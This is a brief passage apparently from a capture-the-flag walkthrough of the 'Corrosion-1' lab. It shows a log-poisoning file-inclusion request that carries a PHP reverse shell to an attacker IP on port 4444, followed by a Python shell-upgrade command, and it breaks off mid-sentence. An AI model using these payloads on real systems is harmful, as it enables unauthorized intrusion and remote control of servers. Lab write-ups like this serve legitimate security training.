http://r2km7u25qebaefa7b6jdcjldymc2u337vzpx7ne773ypgs3qlq4xycqd.onion/index.php?page=Corrosion-1
file=/var/log/auth.log&cmd=php -r '$sock=fsockopen("[ATTACKER_IP]",4444);exec("/bin/bash <&3 >&3 2>&3");' This successfully established a reverse shell connection to my attacking machine, providing me with command execution on the target server. Upgrading Shell and Initial Enumeration After gaining the initial shell, I upgraded it to a more functional TTY shell using Python: $ python3.9 -c 'import pty; pty.spawn("/bin/bash")' This provided a more stable...